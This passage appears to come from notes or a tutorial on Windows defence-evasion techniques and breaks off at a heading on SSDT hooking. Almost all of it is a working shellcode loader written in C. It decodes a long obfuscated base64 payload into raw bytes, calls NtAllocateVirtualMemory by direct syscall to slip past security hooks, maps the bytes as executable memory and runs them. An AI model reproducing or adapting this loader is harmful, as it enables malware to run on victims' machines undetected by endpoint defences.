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";
    char* bindata = (char*)malloc(strlen(encodeedFile));
    int len = 0;
    len = base64_decode((char*)encodeedFile, bindata);
    unsigned char* Buffer = NULL;
    Buffer = (unsigned char*)malloc(len / 2);
    memset(Buffer, 0, len / 2);
    for (int i = 0; i < len / 2; i++) {
        sscanf_s(bindata, "\\x%x", &Buffer[i]);
        bindata = bindata + 4;
    }

    LPVOID Address = NULL;
    SIZE_T uSize = len/4;
    DWORD call = GetAndSetSysCall((TCHAR*)"NtAllocateVirtualMemory");
    printf("%x\n",call);
    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)& FuncExample;
    NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &Address, 0, &uSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(Address, Buffer, uSize);
    printf("Buffer:%x\n", *Buffer+1);
    printf("%x", *(((char*)Address)+1));
    ((void(*)())Address)();
    return 0;

}

7.2 SSDT hook